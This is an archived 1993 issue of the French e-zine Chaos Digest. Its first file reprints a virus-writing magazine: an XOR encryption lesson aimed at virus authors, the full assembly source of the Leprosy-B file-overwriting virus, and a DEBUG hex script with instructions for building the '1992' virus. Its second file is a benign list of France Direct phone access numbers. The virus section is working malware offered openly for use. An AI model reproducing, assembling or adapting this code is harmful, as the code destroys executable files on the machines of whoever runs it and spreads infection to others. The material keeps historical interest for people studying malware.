home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / KAOS1_26.ZIP / KAOS1-26
Text File  |  1993-05-18  |  28KB  |  610 lines

  1. Chaos Digest             Lundi 17 Mai 1993        Volume 1 : Numero 26
  2.                           ISSN  1244-4901
  3.  
  4.        Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
  5.        Archiviste: Yves-Marie Crabbe
  6.        Co-Redacteurs: Arnaud Bigare, Stephane Briere
  7.  
  8. TABLE DES MATIERES, #1.26 (17 Mai 1993)
  9. File 1--40H VMag Issue 1 Volume 1 #004-6 (reprint)
  10. File 2--France Direct vs Home Direct (repertoire)
  11.  
  12. Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
  13. available at no cost by sending a message to:
  14.                 linux-activists-request@niksula.hut.fi
  15. with a mail header or first line containing the following informations:
  16.                     X-Mn-Admin: join CHAOS_DIGEST
  17.  
  18. The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
  19. or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
  20. 155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
  21. groups.
  22.  
  23. Issues of ChaosD can also be found on some French BBS.  Back issues of
  24. ChaosD can be found on the Internet as part of the Computer underground
  25. Digest archives.  They're accessible using anonymous FTP from:
  26.  
  27.         * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
  28.         * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
  29.         * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
  30.         * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
  31.         * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
  32.         * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
  33.         * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
  34.  
  35. CHAOS DIGEST is an open forum dedicated to sharing French information among
  36. computerists and to the presentation and debate of diverse views. ChaosD
  37. material may be reprinted for non-profit as long as the source is cited.
  38. Some authors do copyright their material, and they should be contacted for
  39. reprint permission.  Readers are encouraged to submit reasoned articles in
  40. French, English or German languages relating to computer culture and
  41. telecommunications.  Articles are preferred to short responses.  Please
  42. avoid quoting previous posts unless absolutely necessary.
  43.  
  44. DISCLAIMER: The views represented herein do not necessarily represent
  45.             the views of the moderators. Chaos Digest contributors
  46.             assume all responsibility for ensuring that articles
  47.             submitted do not violate copyright protections.
  48.  
  49. ----------------------------------------------------------------------
  50.  
  51. Date: Tue May 11 09:24:40 PDT 1993
  52. From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
  53. Subject: File 1--40H VMag Issue 1 Volume 1 #004-6 (reprint)
  54.  
  55.  
  56. 40H Vmag Issue 1 Volume 1                                               00004
  57.  
  58.                      - SIMPLE ENCRYPTION METHODS -
  59.  
  60.  
  61.     Encryption is perhaps one of the key parts of writing a virus.  If you
  62. have a virus that prints a message to the screen, you don't want infected
  63. files to contain that message.
  64.  
  65.     One easy way to encrypt data is the XOR method.  XOR is a matamatical
  66. function that can be used to cifer and decifer data with the same key.
  67.  
  68. Example --
  69.  
  70.               FF  xor  A1  =  5E
  71. byte to encrypt^       ^key   ^result
  72.  
  73. and likewise
  74.  
  75.               5E  xor  A1  =  FF
  76.  
  77. So as you can see an easy way to encrypt/decrypt sensitve data is with the
  78. XOR function.
  79.  
  80. A popular virus that demonstrates this teqnique is Leprosy-B.  By studing
  81. the below example you are on the way to make simple encrypted viruses.
  82.  
  83. ----------------------------------------------------------------------------
  84.  
  85. ;<LEPROSYB.ASM>   -   Leprosy-B Virus Source
  86. ;                     Copy-ya-right (c) 1990 by PCM2.
  87. ;
  88. ;This file is the source code to the Leprosy-B virus.  It should
  89. ;be assembled with an MASM-compatible assembler; it has been tested
  90. ;and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
  91. ;It should be made into a .COM file before executing, with either
  92. ;the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
  93. ;
  94. ;This program has the potential to permanently destroy executable
  95. ;images on any disk medium.  Other modifications may have been made
  96. ;subsequent to the original release by the author, either benign,
  97. ;or which could result in further harm should this program be run.
  98. ;In any case, the author assumes no responsibility for any damage
  99. ;caused by this program, incidental or otherwise.  As a precaution,
  100. ;this program should not be turned over to irresponsible hands...
  101. ;(unlike people like us, that is).
  102.  
  103.  
  104.                 title   "Leprosy-B Virus by PCM2, August 1990"
  105.  
  106. cr              equ     13          ;Carriage return ASCII code
  107. lf              equ     10          ;Linefeed ASCII code
  108. tab             equ     9           ;Tab ASCII code
  109. virus_size      equ     666         ;Size of the virus file
  110. code_start      equ     100h        ;Address right after PSP in memory
  111. dta             equ     80h         ;Addr of default disk transfer area
  112. datestamp       equ     24          ;Offset in DTA of file's date stamp
  113. timestamp       equ     22          ;Offset in DTA of file's time stamp
  114. filename        equ     30          ;Offset in DTA of ASCIIZ filename
  115. attribute       equ     21          ;Offset in DTA of file attribute
  116.  
  117.  
  118.         code    segment 'code'      ;Open code segment
  119.         assume  cs:code,ds:code     ;One segment for both code & data
  120.                 org     code_start  ;Start code image after PSP
  121.  
  122. ;---------------------------------------------------------------------
  123. ;  All executable code is contained in boundaries of procedure "main".
  124. ;  The following code, until the start of "virus_code", is the non-
  125. ;  encrypted CMT portion of the code to load up the real program.
  126. ;---------------------------------------------------------------------
  127. main    proc    near                ;Code execution begins here
  128.         call    encrypt_decrypt     ;Decrypt the real virus code
  129.         jmp     random_mutation     ;Put the virus into action
  130.  
  131. encrypt_val     db      00h         ;Hold value to encrypt by here
  132.  
  133. ; ----------  Encrypt, save, and restore the virus code  -----------
  134. infect_file:
  135.         mov     bx,handle           ;Get the handle
  136.         push    bx                  ;Save it on the stack
  137.         call    encrypt_decrypt     ;Encrypt most of the code
  138.         pop     bx                  ;Get back the handle
  139.         mov     cx,virus_size       ;Total number of bytes to write
  140.         mov     dx,code_start       ;Buffer where code starts in memory
  141.         mov     ah,40h              ;DOS write-to-handle service
  142.         int     21h                 ;Write the virus code into the file
  143.         call    encrypt_decrypt     ;Restore the code as it was
  144.         ret                         ;Go back to where you came from
  145.  
  146. ; ---------------  Encrypt or decrypt the virus code  ----------------
  147. encrypt_decrypt:
  148.         mov     bx,offset virus_code;Get address to start encrypt/decrypt
  149. xor_loop:                           ;Start cycle here
  150.         mov     ah,[bx]             ;Get the current byte
  151.         xor     ah,encrypt_val      ;Engage/disengage XOR scheme on it
  152.         mov     [bx],ah             ;Put it back where we got it
  153.         inc     bx                  ;Move BX ahead a byte
  154.         cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
  155.         jle     xor_loop            ;If not, do another cycle
  156.         ret                         ;and go back where we came from
  157.  
  158. ;-----------------------------------------------------------------------
  159. ;   The rest of the code from here on remains encrypted until run-time,
  160. ;   using a fundamental XOR technique that changes via CMT.
  161. ;-----------------------------------------------------------------------
  162. virus_code:
  163.  
  164. ;----------------------------------------------------------------------------
  165. ;  All strings are kept here in the file, and automatically encrypted.
  166. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  167. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  168. ;  changes, even when the strings stay the same.
  169. ;----------------------------------------------------------------------------
  170. exe_filespec   db "*.EXE",0
  171. com_filespec   db "*.COM",0
  172. newdir         db "..",0
  173. fake_msg       db cr,lf,"Program too big to fit in memory$"
  174. virus_msg1     db cr,lf,tab,"ATTENTION!  Your computer has been afflicted
  175. with$"
  176. virus_msg2     db cr,lf,tab,"the incurable decay that is the fate wrought by$"
  177. virus_msg3     db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
  178. virus_msg4     db cr,lf,tab,"Mutation Tech. (tm) and invented by PCM2 08/90.$"
  179. compare_buf    db 20 dup (?)      ;  Buffer to compare files in
  180. files_found    db ?
  181. files_infected db ?
  182. orig_time      dw ?
  183. orig_date      dw ?
  184. orig_attr      dw ?
  185. handle         dw ?
  186. success        db ?
  187.  
  188. random_mutation:                      ;First decide if virus is to mutate
  189.         mov     ah,2ch                ;Set up DOS function to get time
  190.         int     21h
  191.         cmp     encrypt_val,0         ;Is this a first-run virus copy?
  192.         je      install_val           ;If so, install whatever you get.
  193.         cmp     dh,15                 ;Is it less than 16 seconds?
  194.         jg      find_extension        ;If not, don't mutate this time
  195. install_val:
  196.         cmp     dl,0                  ;Will we be encrypting using zero?
  197.         je      random_mutation       ;If so, get a new value.
  198.         mov     encrypt_val,dl        ;Otherwise, save the new value
  199. find_extension:                       ;Locate file w/ valid extension
  200.         mov     files_found,0         ;Count infected files found
  201.         mov     files_infected,4      ;BX counts file infected so far
  202.         mov     success,0
  203. find_exe:
  204.         mov     cx,00100111b          ;Look for all flat file attributes
  205.         mov     dx,offset exe_filespec;Check for .EXE extension first
  206.         mov     ah,4eh                ;Call DOS find first service
  207.         int     21h
  208.         cmp     ax,12h                ;Are no files found?
  209.         je      find_com              ;If not, nothing more to do
  210.         call    find_healthy          ;Otherwise, try to find healthy .EXE
  211. find_com:
  212.         mov     cx,00100111b          ;Look for all flat file attributes
  213.         mov     dx,offset com_filespec;Check for .COM extension now
  214.         mov     ah,4eh                ;Call DOS find first service
  215.         int     21h
  216.         cmp     ax,12h                ;Are no files found?
  217.         je      chdir                 ;If not, step back a directory
  218.         call    find_healthy          ;Otherwise, try to find healthy .COM
  219. chdir:                                ;Routine to step back one level
  220.         mov     dx,offset newdir      ;Load DX with address of pathname
  221.         mov     ah,3bh                ;Change directory DOS service
  222.         int     21h
  223.         dec     files_infected        ;This counts as infecting a file
  224.         jnz     find_exe              ;If we're still rolling, find another
  225.         jmp     exit_virus            ;Otherwise let's pack it up
  226. find_healthy:
  227.         mov     bx,dta                ;Point BX to address of DTA
  228.         mov     ax,[bx]+attribute     ;Get the current file's attribute
  229.         mov     orig_attr,ax          ;Save it
  230.         mov     ax,[bx]+timestamp     ;Get the current file's time stamp
  231.         mov     orig_time,ax          ;Save it
  232.         mov     ax,[bx]+datestamp     ;Get the current file's data stamp
  233.         mov     orig_date,ax          ;Save it
  234.         mov     dx,dta+filename       ;Get the filename to change attribute
  235.         mov     cx,0                  ;Clear all attribute bytes
  236.         mov     al,1                  ;Set attribute sub-function
  237.         mov     ah,43h                ;Call DOS service to do it
  238.         int     21h
  239.         mov     al,2                  ;Set up to open handle for read/write
  240.         mov     ah,3dh                ;Open file handle DOS service
  241.         int     21h
  242.         mov     handle,ax             ;Save the file handle
  243.         mov     bx,ax                 ;Transfer the handle to BX for read
  244.         mov     cx,20                 ;Read in the top 20 bytes of file
  245.         mov     dx,offset compare_buf ;Use the small buffer up top
  246.         mov     ah,3fh                ;DOS read-from-handle service
  247.         int     21h
  248.         mov     bx,offset compare_buf ;Adjust the encryption value
  249.         mov     ah,encrypt_val        ;for accurate comparison
  250.         mov     [bx+6],ah
  251.         mov     si,code_start         ;One array to compare is this file
  252.         mov     di,offset compare_buf ;The other array is the buffer
  253.         mov     ax,ds                 ;Transfer the DS register...
  254.         mov     es,ax                 ;...to the ES register
  255.         cld
  256.         repe    cmpsb                 ;Compare the buffer to the virus
  257.         jne     healthy               ;If different, the file is healthy!
  258.         call    close_file            ;Close it up otherwise
  259.         inc     files_found           ;Chalk up another fucked up file
  260. continue_search:
  261.         mov     ah,4fh                ;Find next DOS function
  262.         int     21h                   ;Try to find another same type file
  263.         cmp     ax,12h                ;Are there any more files?
  264.         je      no_more_found         ;If not, get outta here
  265.         jmp     find_healthy          ;If so, try the process on this one!
  266. no_more_found:
  267.         ret                           ;Go back to where we came from
  268. healthy:
  269.         mov     bx,handle             ;Get the file handle
  270.         mov     ah,3eh                ;Close it for now
  271.         int     21h
  272.         mov     ah,3dh                ;Open it again, to reset it
  273.         mov     dx,dta+filename
  274.         mov     al,2
  275.         int     21h
  276.         mov     handle,ax             ;Save the handle again
  277.         call    infect_file           ;Infect the healthy file
  278.         call    close_file            ;Close down this operation
  279.         inc     success               ;Indicate we did something this time
  280.         dec     files_infected        ;Scratch off another file on agenda
  281.         jz      exit_virus            ;If we're through, terminate
  282.         jmp     continue_search       ;Otherwise, try another
  283.         ret
  284. close_file:
  285.         mov     bx,handle             ;Get the file handle off the stack
  286.         mov     cx,orig_time          ;Get the date stamp
  287.         mov     dx,orig_date          ;Get the time stamp
  288.         mov     al,1                  ;Set file date/time sub-service
  289.         mov     ah,57h                ;Get/Set file date and time service
  290.         int     21h                   ;Call DOS
  291.         mov     bx,handle
  292.         mov     ah,3eh                ;Close handle DOS service
  293.         int     21h
  294.         mov     cx,orig_attr          ;Get the file's original attribute
  295.         mov     al,1                  ;Instruct DOS to put it back there
  296.         mov     dx,dta+filename       ;Feed it the filename
  297.         mov     ah,43h                ;Call DOS
  298.         int     21h
  299.         ret
  300. exit_virus:
  301.         cmp     files_found,6         ;Are at least 6 files infected?
  302.         jl      print_fake            ;If not, keep a low profile
  303.         cmp     success,0             ;Did we infect anything?
  304.         jg      print_fake            ;If so, cover it up
  305.         mov     ah,09h                ;Use DOS print string service
  306.         mov     dx,offset virus_msg1  ;Load the address of the first line
  307.         int     21h                   ;Print it
  308.         mov     dx,offset virus_msg2  ;Load the second line
  309.         int     21h                   ;(etc)
  310.         mov     dx,offset virus_msg3
  311.         int     21h
  312.         mov     dx,offset virus_msg4
  313.         int     21h
  314.         jmp     terminate
  315. print_fake:
  316.         mov     ah,09h                ;Use DOS to print fake error message
  317.         mov     dx,offset fake_msg
  318.         int     21h
  319. terminate:
  320.         mov     ah,4ch                ;DOS terminate process function
  321.         int     21h                   ;Call DOS to get out of this program
  322.  
  323. filler          db       8 dup (90h)  ;Pad out the file length to 666 bytes
  324.  
  325. main    endp
  326. code    ends
  327.         end     main
  328.  
  329. ----------------------------------------------------------------------------
  330.  
  331. While the virus is no great wonder the simple encryption method is what is
  332. used by almost all viruses.
  333.  
  334.                                                                           HR
  335.  
  336. +++++
  337.  
  338. 40H Vmag Issue 1 Volume 1                                               00005
  339.  
  340.                              - 1992 VIRUS -
  341.  
  342.  
  343. Heres another for you virus fiends.  Its been labled 1992, the latest in the
  344. line of viruses brought to you by SKISM.
  345.  
  346. While the virus is no groundbreaker - the graphic display that is given by
  347. the virus will go down in history as the first of it's kind.
  348.  
  349. Copy the below to a file called  1992.USR then execute --
  350.  
  351.                        DEBUG < 1992.USR
  352.  
  353. ------------------------------------------------------------------------------
  354. n 1992.com
  355. e 0100  EB 02 90 02 E8 03 00 E9 E7 05 51 BB 38 01 8A 2F
  356. e 0110  32 2E 03 01 88 2F 43 81 FB 00 09 7E F1 59 C3 BA
  357. e 0120  00 01 8B 1E E5 06 53 E8 E0 FF 5B B9 C8 07 B4 40
  358. e 0130  CD 21 53 E8 D4 FF 5B C3 0D 10 1B 00 08 B1 1B 04
  359. e 0140  C1 18 22 C6 BD 1B 01 B1 1B 15 B1 1B 01 1A 1B 00
  360. e 0150  C1 18 04 C6 DB 02 B3 B3 14 18 19 B3 10 DF 22 22
  361. e 0160  08 B1 1B 01 C1 18 0C C6 C0 18 05 C6 C3 C6 BD 22
  362. e 0170  22 1A 1B 00 B1 1B 06 02 B3 B3 14 18 1D B3 10 DF
  363. e 0180  22 08 C2 C6 C6 C0 C6 DB 1B 0C B1 1B 0B B1 22 22
  364. e 0190  1A 1B 00 B1 1B 01 02 B3 B3 14 18 23 B3 10 DF 1B
  365. e 01A0  00 08 B1 1B 12 B1 1B 0B C2 C6 C6 1A 1B 00 B1 1B
  366. e 01B0  00 02 B3 B3 14 18 21 B3 10 DF 22 13 1B 06 0B DC
  367. e 01C0  10 22 13 22 DC 10 22 13 22 DC 10 22 13 22 DC 10
  368. e 01D0  22 13 1B 06 DC 10 22 13 22 22 DC 10 22 22 13 22
  369. e 01E0  22 DC 10 22 22 1A 1B 00 08 B1 22 22 02 B3 B3 14
  370. e 01F0  18 0A B3 0D 18 1A B3 02 10 DF 14 B3 B3 B3 10 DF
  371. e 0200  13 22 0B DC 02 10 18 06 B3 13 22 0B DC 22 DC 02
  372. e 0210  10 B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10
  373. e 0220  18 06 B3 13 22 0B DC 22 DC 22 DC 22 DC 02 10 B3
  374. e 0230  22 1A 1B 00 08 B1 22 22 02 B3 B3 14 18 05 B3 0D
  375. e 0240  18 1B B3 02 10 DF 22 22 14 B3 10 DF 13 1B 06 0B
  376. e 0250  DC 10 22 13 22 22 DC 02 10 B3 22 22 13 22 0B DC
  377. e 0260  02 10 B3 13 1B 06 0B DC 10 22 13 22 DC 02 10 B3
  378. e 0270  13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3 22 1A
  379. e 0280  08 C6 C6 C0 DB 22 22 02 B3 B3 14 18 05 B3 0D 18
  380. e 0290  0E B3 12 1B 05 14 18 01 B3 02 10 DF 1B 00 08 B1
  381. e 02A0  22 22 02 B3 B3 B3 13 22 0B DC 02 10 B3 13 22 0B
  382. e 02B0  DC 22 DC 02 10 B3 22 13 22 0B DC 02 10 B3 22 B3
  383. e 02C0  B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3
  384. e 02D0  22 B3 B3 13 22 0B DC 02 10 B3 22 1A 22 22 08 B1
  385. e 02E0  1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC D9
  386. e 02F0  D9 02 14 B3 B3 B0 B0 0D 12 D9 14 B3 B3 B3 02 10
  387. e 0300  DF 1B 01 08 B1 22 13 1B 06 0B DC 02 10 B3 13 22
  388. e 0310  0B DC 02 10 B3 13 22 0B DC 02 10 B3 13 22 0B DC
  389. e 0320  02 10 B3 13 1B 06 0B DC 02 10 B3 13 22 0B DC 02
  390. e 0330  10 B3 1B 00 13 22 0B DC 02 10 B3 22 1A 22 22 08
  391. e 0340  B1 1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC
  392. e 0350  D9 D9 02 14 B3 B3 B3 B0 0D 12 D9 14 B3 B3 02 10
  393. e 0360  DF 1B 06 08 B1 22 22 02 18 07 B3 22 B3 B3 22 B3
  394. e 0370  B3 22 B3 B3 22 18 07 B3 22 B3 B3 1B 00 B3 B3 B3
  395. e 0380  22 1A 22 22 08 B1 1B 00 02 B3 B3 14 18 01 B3 0D
  396. e 0390  B3 B3 B3 02 B3 0D 18 0E B3 12 DC 18 07 D9 14 B3
  397. e 03A0  B3 02 10 DF 1B 01 08 D8 C6 DB 1B 18 D8 C6 C6 C6
  398. e 03B0  BD 22 22 1A 22 22 B1 1B 01 02 B3 B3 14 B3 B3 B3
  399. e 03C0  0D 18 18 B3 02 10 DF 1B 00 08 C1 18 04 C6 C0 18
  400. e 03D0  16 C6 DB 1B 00 B1 22 22 1A 22 22 C1 18 01 C6 BD
  401. e 03E0  02 B3 B3 0D 14 18 1F B3 02 10 DF 22 22 08 B1 1B
  402. e 03F0  07 16 22 0D 14 56 16 6A 67 22 6F 63 6C 22 75 6A
  403. e 0400  6D 22 60 70 6D 77 65 6A 76 22 7B 6D 77 22 10 22
  404. e 0410  22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D
  405. e 0420  14 18 1E B3 02 10 DF 1B 00 08 B1 1B 01 02 B3 B3
  406. e 0430  16 22 0D 34 30 30 2E 22 51 69 6B 71 6F 22 4D 6C
  407. e 0440  67 2E 22 41 63 72 76 6B 63 6C 22 10 22 22 08 B1
  408. e 0450  22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D 14 18 10
  409. e 0460  B3 02 10 DF 0D 14 18 05 B3 02 10 DF 1B 01 08 B1
  410. e 0470  1B 01 02 B3 B3 16 22 0D 56 70 6B 72 71 2E 22 63
  411. e 0480  6C 66 22 51 77 60 2F 58 67 70 6D 22 6C 6D 75 22
  412. e 0490  10 22 22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3
  413. e 04A0  B3 0D 14 18 10 B3 02 10 DF 1B 01 08 B1 1B 05 B1
  414. e 04B0  1B 01 02 B3 B3 16 22 0D 71 6A 63 6C 69 71 22 7B
  415. e 04C0  6D 77 22 63 65 63 6B 6C 2E 22 22 75 6B 76 6A 22
  416. e 04D0  10 22 22 08 C2 C6 C6 1A 22 22 B1 1B 01 B1 02 B3
  417. e 04E0  B3 0D 14 18 10 B3 02 10 DF 1B 01 08 C2 C6 C6 BD
  418. e 04F0  1B 06 C1 C6 BD 22 22 02 B3 B3 16 22 0D 6A 6B 71
  419. e 0500  22 6E 63 76 67 71 76 2C 2C 2C 1B 08 10 1B 06 1A
  420. e 0510  22 22 08 C2 C6 C6 C0 C6 C3 02 B3 B3 0D 14 18 11
  421. e 0520  B3 02 10 DF 1B 07 08 B1 1B 06 B1 22 B1 22 22 02
  422. e 0530  18 1A B3 1B 04 1A 1B 06 08 B1 22 22 02 B3 B3 0D
  423. e 0540  14 18 15 B3 02 10 DF 22 22 08 B1 1B 06 B1 22 C2
  424. e 0550  18 1E C6 BD 1B 01 1A C6 C6 C0 C6 C6 DB 22 22 02
  425. e 0560  B3 B3 0D 14 18 14 B3 02 10 DF 1B 00 08 C1 C6 C6
  426. e 0570  C6 C0 C6 DB 1B 07 17 22 0C 51 69 6B 71 6F 22 33
  427. e 0580  3B 3B 30 22 2F 22 54 6B 70 77 71 18 01 23 22 10
  428. e 0590  22 08 C1 18 01 C6 1A 22 22 B1 1B 06 02 B3 B3 0D
  429. e 05A0  14 18 0A B3 02 10 DF 1B 0A 08 D8 18 04 C6 DB 1B
  430. e 05B0  00 B1 1B 07 02 B3 B3 17 1B 01 0D 45 67 76 22 63
  431. e 05C0  22 6E 63 76 67 22 72 63 71 71 23 1B 01 10 22 08
  432. e 05D0  B1 1B 01 1A D8 C6 DB 1B 00 02 B3 B3 0D 11 18 09
  433. e 05E0  D9 14 D9 D9 12 DF 10 1B 07 08 B1 1B 08 B1 1B 07
  434. e 05F0  02 18 1A B3 22 22 08 B1 1B 01 1A B1 22 02 B3 B3
  435. e 0600  0D 11 18 19 D9 02 10 DF 1B 05 08 B1 1B 11 D8 18
  436. e 0610  09 C6 DB 1B 01 1A 02 B3 B3 0D 12 18 22 D9 DF 10
  437. e 0620  1B 06 08 B1 1B 11 B1 1B 12 1A 0D 12 18 21 D9 DF
  438. e 0630  10 1B 01 08 C2 18 11 C6 DB 1B 12 1A 28 02 28 2C
  439. e 0640  47 5A 47 02 5E 02 01 3D 3D 3D 3D 3D 3D 3D 3D 22
  440. e 0650  22 22 11 01 02 02 02 28 D3 EF 48 13 68 7B D4 14
  441. e 0660  02 02 02 02 46 4D 51 02 22 22 22 22 02 02 02 02
  442. e 0670  02 01 3D 3D 3D 3D 3D 3D 3D 3D 47 5A 47 05 07 02
  443. e 0680  23 02 28 D3 EF 48 22 2A 00 23 02 00 02 02 02 56
  444. e 0690  43 50 45 47 50 2C 47 5A 47 02 02 02 95 32 44 04
  445. e 06A0  73 04 95 32 02 56 47 4F 52 02 02 02 02 02 02 02
  446. e 06B0  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
  447. e 06C0  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
  448. e 06D0  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
  449. e 06E0  02 02 02 02 02 07 02 2A 00 23 02 22 02 CF 22 02
  450. e 06F0  02 BA 02 32 CF 23 3E 01 70 29 B6 2E CF 23 8A 14
  451. e 0700  01 03 B6 28 CF 23 82 F8 1B 7E 06 3E 07 76 01 E9
  452. e 0710  77 92 BC 3A 03 BA 02 BA 8C C2 BD 02 02 BB 06 07
  453. e 0720  EA 07 02 E9 FC EB 88 02 E1 59 89 D5 31 C2 FE AE
  454. e 0730  3E 22 70 07 A9 E0 FA E9 4E 3E 12 71 05 82 E6 F2
  455. e 0740  08 E2 E9 F3 3E 1A 76 11 71 1B 2E 12 00 C2 00 C2
  456. e 0750  00 C2 00 C2 82 E6 8D 08 E2 E9 D8 83 C0 A2 02 89
  457. e 0760  F8 E9 D0 3E 19 70 05 77 CE 82 F6 82 E9 C5 3E 1B
  458. e 0770  89 DB AE 88 CA B2 22 76 00 AE 49 30 EF 43 F1 A9
  459. e 0780  89 C9 4B E2 A8 C1 B8 44 04 B6 18 CF 23 B6 1B CF
  460. e 0790  23 88 D2 FC C0 B6 45 BC A7 04 CF 23 B8 46 04 B6
  461. e 07A0  39 CF 23 BB 11 02 B8 3E 04 B6 4C CF 23 3F 10 02
  462. e 07B0  77 01 E9 53 92 B6 4D CF 23 3F 10 02 76 45 B8 66
  463. e 07C0  04 B6 39 CF 23 B6 2D CF 23 8E 04 9E 04 8B 1C 9C
  464. e 07D0  04 B8 73 04 B6 18 CF 23 BB 05 02 B8 3C 04 B6 4C
  465. e 07E0  CF 23 3F 10 02 77 23 B6 4D CF 23 3F 10 02 77 1A
  466. e 07F0  B8 46 04 B6 39 CF 23 B6 18 8C 1C 9E 04 89 14 9C
  467. e 0800  04 CF 23 E9 B2 E9 7B 92 B6 2D CF 23 8E 04 A0 04
  468. e 0810  8B 1C A2 04 B8 8D 04 B9 73 04 89 45 1A A1 EB 04
  469. e 0820  89 45 14 A1 E5 04 89 45 17 BA 02 41 CF 23 8B 0C
  470. e 0830  E9 04 BA 03 41 31 CB CF 23 BA 02 3F CF 23 70 21
  471. e 0840  A1 E7 04 B6 3D 89 1C E7 04 BB 00 02 B8 EF 04 CF
  472. e 0850  23 B6 3C 89 1C E7 04 CF 23 89 1C EF 04 83 F9 E9
  473. e 0860  00 77 0D B6 18 8C 1C A0 04 89 14 A2 04 CF 23 EB
  474. e 0870  77 FD B8 8D 04 BA 00 3F CF 23 A1 E7 04 EA 9D FA
  475. e 0880  BA 03 55 89 1C E7 04 89 0C E5 04 89 14 EB 04 CF
  476. e 0890  23 BA 03 41 89 0C E9 04 B8 8D 04 CF 23 B6 39 B8
  477. e 08A0  46 04 CF 23 B6 39 B8 A7 04 CF 23 BA 02 4E CF 23
  478. e 08B0  4F 61 43 64 67 67 22 75 70 6D 76 67 22 55 6A 63
  479. e 08C0  6E 67 23 23 23 23 23 23 1A 1A 1A 1A 1A 1A 1A 1A
  480.  
  481. rcx
  482. 7C8
  483. w
  484. q
  485.  
  486. ----------------------------------------------------------------------------
  487.  
  488. The virus only infects systems running DOS 3.0 and up.  It is non-resident
  489. will only infect disks with more than two directorys.  When the virus is
  490. run it will seek out the first EXE file in the second directory from the
  491. root.  Each run after that will begin infection of files following.  The
  492. virus will jump from directory to directory when executed until it finds
  493. an uninfected EXE file to nail.
  494.  
  495. On the last Friday of the month the virus will display a full color, full
  496. screen message to all.
  497.  
  498.                                                                           HR
  499.  
  500. +++++
  501.  
  502. 40H Vmag Issue 1 Volume 1                                              00006
  503.  
  504. I think this magazine will be monthly, keep looking for it.
  505.  
  506. Next Issue -
  507.  
  508.              Spotlight on Vienna
  509.              Editoral on virus speed
  510.              Article on Whale and if I can find it Whale source code.
  511.  
  512.              plus
  513.  
  514.              More viruses, more source code and more insight...
  515.  
  516. ------------------------------
  517.  
  518. From: jbcondat@attmail.com (Chaos Computer Club France )
  519. Date: 05 May 93 23:59:59 GMT
  520. Subject: File 2--France Direct vs Home Direct (repertoire)
  521. Repost from: telecom13.303.3@eecs.nwu.edu
  522.  
  523.  
  524. The France Direct service offer to all cardholders the possibility to
  525. obtain directly and freely a French operator from some foreign
  526. countries. The price of the phone call begin as soon as the
  527. correspondant begin the call.
  528.  
  529. Call the following France Direct phone numbers from:
  530.  
  531.                  Normal User           Automatic version
  532.                                        Carte Pastel Intl.' users
  533.  
  534. Allemagne        0130 80 00 33
  535. Argentine        0033 800 999 111
  536. Australie        00 14 881 330
  537. Autriche         022 903 033
  538. Belgique                               078 11 00 33
  539. Bresil           0008 033
  540. Canada           1800 363 40 33        1800 463 62 26
  541. Chine                                  108 33
  542. Colombie         980 33 0057           980 33 00 10
  543. Coree (Rep)                            009 0330
  544. Danemark         800 100 33
  545. Emirats Arab     800 1 9971
  546. Espagne          900 99 00 33
  547. Etats-Unis       800 537 2623          800 47 372 623
  548.                  800 937 2623          800 872 7835
  549.                                        800 727 8350
  550. Finlande         98 00 10 330
  551. Gabon            00 033
  552. Hongrie          00 800 033 11
  553. Hong-Kong        800 00 33             800 10 33
  554. Irlande          800 55 10 33          800 55 00 33
  555. Israel           177 330 2727
  556. Italie           172 00 33
  557. Japon            00 39 331             00 31 00 55 33
  558. Luxembourg                             0 800 00 33
  559. Malaisie                               800 00 33
  560. Norvege          050 19933
  561. Nouvelle-Zelande 000 9 33
  562. Pays-Bas         06 022 2033           06 022 2533
  563. Portugal         0505 00 33
  564. Royaume-Uni      0800 890033
  565. Singapour        800 33 00             800 33 11
  566. Suede            02 07 99 033          02 07 99 133
  567. Tchecoslovaquie  00 42 00 3301
  568. Turquie          99 800 33 11 77
  569.  
  570. For the foreign people visiting France, some phone call exist in France for
  571. a quick and direct access to local facilities:
  572.  
  573. Algerie          19 00 213
  574. Allemagne        19 00 49
  575. Argentine        19 00 54
  576. Australie        19 00 61
  577. Autriche         19 00 43
  578. Belgique         19 00 32
  579. Bresil           19 00 55
  580. Canada           19 00 16
  581. Colombie         19 00 57
  582. Coree (Rep)      19 00 82
  583. Danemark         19 00 45
  584. EmiratsArabes    19 00 971
  585. Espagne          19 00 34
  586. Etats-Unis       19 00 11 (AT&T)
  587.                  19 00 19 (MCI)
  588.                  19 00 87 (Sprint)
  589. Finlande         19 00 358
  590. Gabon            19 00 241
  591. Hong-Kong        19 00 852             19 02 852
  592. Hongrie          19 00 36
  593. Irlande          19 00 353
  594. Italie           19 00 39
  595. Japon            19 00 81              19 02 81
  596. Luxembourg       19 00 352
  597. Norvege          19 00 47
  598. Nouvelle-Zelande 19 00 64
  599. Pays-Bas         19 00 31
